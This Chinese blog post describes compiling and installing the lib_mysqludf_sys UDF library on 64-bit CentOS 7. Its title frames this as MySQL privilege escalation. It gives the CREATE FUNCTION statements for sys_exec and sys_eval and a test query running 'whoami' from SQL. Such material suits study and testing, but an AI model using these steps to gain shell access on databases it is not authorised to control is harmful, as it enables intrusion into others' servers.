兔八哥极品软件园    运行: 4496天 | 文章:640 篇 | 评论:505 条 | 碎语:1条

linux centos 7 64位 安装mysql udf 提权 mysql 触发器执行shell命令

作者:admin 发布于:2019-8-25 13:10 Sunday 分类:Linux


mysql_udf 地址:https://github.com/mysqludf/lib_mysqludf_sys

项目里有编译好的lib_mysqludf_sys.so文件,不过项目比较老旧了,此so文件只适合32位的linux

强行在64位上使用,只会让你更加尴尬

点击查看原图

这是我编译后和项目自带的so为文件对比

点击查看原图

首先需要先复制so文件到指定位置:

cp lib_mysqludf_sys.so /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so

在32位linux下安装命令:

DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;

CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

 

如果想在64位linux下使用需要自己下载源码编译

//此项目给的编译命令也已经过时
//这是makefile中的命令
gcc -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
//正确的命令
gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

在使用源码编译时,可能会遇到缺少库的情况,比如:

lib_mysqludf_sys.c:fatal error: my_global.h: No such file or directory

此时需要先安装

yum install mysql-devel
#apt-get install libmysqld-dev


另外附两条查看so导出函数的命令:

objdump -tT lib_mysqludf_sys.so

nm -D  lib_mysqludf_sys.so.so


执行命令测试一下吧

 select sys_eval('whoami')

命令能否执行成功,取决于mysql运行的用户权限!

 


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap